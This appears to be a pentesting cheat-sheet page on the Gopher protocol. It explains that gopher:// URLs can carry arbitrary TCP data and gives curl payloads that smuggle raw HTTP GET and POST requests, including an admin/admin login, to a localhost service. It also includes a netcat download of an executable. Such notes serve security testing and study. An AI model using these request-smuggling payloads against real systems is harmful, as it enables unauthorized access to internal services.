Gopher – port 70

Gopher is a communication protocol designed for distributing, searching, and retrieving documents in Internet Protocol networks. The design of the Gopher protocol and user interface is menu-driven, and presented an alternative to the World Wide Web in its early stages. The Gopher ecosystem is often regarded as the effective predecessor of the World Wide Web.

Table of Contents

Gopher requests

NOT TESTED

Older versions of Java allow arbitrary data to be sent over TCP via
gopher://…

  • host: any host
  • port: any TCP port
  • type: single digit integer, see Gopher (protocol) (Wikipedia)
  • request: request can be any binary data, percent-encoded
gopher://{host}:{port}/{type}{request}

GET request

curl 'gopher://localhost:80/_GET%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A'

POST request

curl 'gopher://127.0.0.1:80/_POST%20/admin%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2029%0D%0A%0D%0Ausername%3Dadmin%26password%3Dadmin%0D%0A'

Download content using Netcat

echo jacks/jack.exe | nc gopher.example.org 70 > jack.exe

Reference